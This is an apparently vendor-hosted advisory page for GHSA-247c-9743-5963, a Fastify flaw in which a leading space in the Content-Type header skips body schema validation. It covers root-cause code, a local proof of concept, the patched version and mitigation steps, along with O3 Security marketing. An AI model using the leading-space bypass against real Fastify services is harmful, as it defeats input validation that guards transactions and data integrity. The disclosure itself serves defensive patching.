Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-247c-9743-5963

HIGH

GHSA-247c-9743-5963 is a high-severity (CVSS 7.5) CWE-1287 vulnerability in fastify. O3 Security confirms whether GHSA-247c-9743-5963 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

Published
Apr 15, 2026
Updated
Jul 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

fastifynpm
10.7Mdownloads / week

Description

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact

Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVEVectorPatched in 5.8.4?
CVE-2025-32442Casing / semicolon whitespace✅ Yes
CVE-2026-25223Tab character (\t)✅ Yes
CVE-2026-3419Trailing garbage after subtype✅ Yes
This findingLeading space (\x20)❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmfastify5.3.2&&< 5.8.55.8.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fastify. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update fastify to 5.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-247c-9743-5963 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-247c-9743-5963 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-247c-9743-5963. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62
O3 Security · Impact-Aware SCA

Is GHSA-247c-9743-5963 in your dependencies?

O3 detects GHSA-247c-9743-5963 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.